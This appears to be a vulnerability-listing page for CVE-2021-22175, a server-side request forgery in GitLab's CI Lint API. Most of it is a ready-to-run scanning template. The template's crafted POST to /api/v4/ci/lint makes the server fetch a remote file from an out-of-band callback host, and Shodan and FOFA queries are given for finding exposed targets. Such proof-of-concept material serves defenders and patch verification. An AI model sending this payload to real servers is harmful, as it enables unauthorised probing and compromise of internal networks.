CVE-2021-22175: GitLab CI Lint API - Server-Side Request Forgery

2026-01-08 GitLab CI Lint API PoC Public

Description

GitLab 10.5 and later contain a server-side request forgery caused by insecure handling of webhook requests, letting unauthenticated attackers exploit the server for arbitrary requests, exploit requires sending crafted webhook requests.

Details

CVE
CVE-2021-22175 · CVE.org
Severity
高危
Affected
GitLab CI Lint API
Published
PoC
Public

PoC

id: CVE-2021-22175

info:
  name: GitLab CI Lint API - Server-Side Request Forgery
  author: 0x_Akoko
  severity: high
  description: |
    GitLab 10.5 and later contain a server-side request forgery caused by insecure handling of webhook requests, letting unauthenticated attackers exploit the server for arbitrary requests, exploit requires sending crafted webhook requests.
  impact: |
    Unauthenticated attackers can perform arbitrary requests on internal network, potentially leading to information disclosure or internal network compromise.
  remediation: |
    Update to the latest version of GitLab where the vulnerability is fixed.
  reference:
    - https://gitlab.com/gitlab-org/gitlab/-/issues/294178
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22175
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2021-22175
    epss-score: 0.53372
    epss-percentile: 0.99004
    cwe-id: CWE-918
    cpe: cpe:2.3:a:gitlab:gitlab:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: gitlab
    product: gitlab
    shodan-query: http.title:"GitLab"
    fofa-query: app="GitLab"
  tags: cve,cve2021,gitlab,ssrf,oast,vkev,kev,vuln

http:
  - raw:
      - |
        POST /api/v4/ci/lint HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"include_merged_yaml":true,"content":"include:\n  remote: 'http://{{interactsh-url}}/gitlab.yml'"}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Included file", "\"errors\":")'
          - 'contains(content_type, "application/json")'
          - 'contains(interactsh_protocol, "http")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a0047304502203fcd71241b478a214d3a696fdef9f3d8ac62951e9591af32e80a51cc073034ce022100f8d6c9f526b663c28712df00af06119893fbf7d556aa2e7aea133d66f1bfb4c9:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities

微信搜一搜 biu.life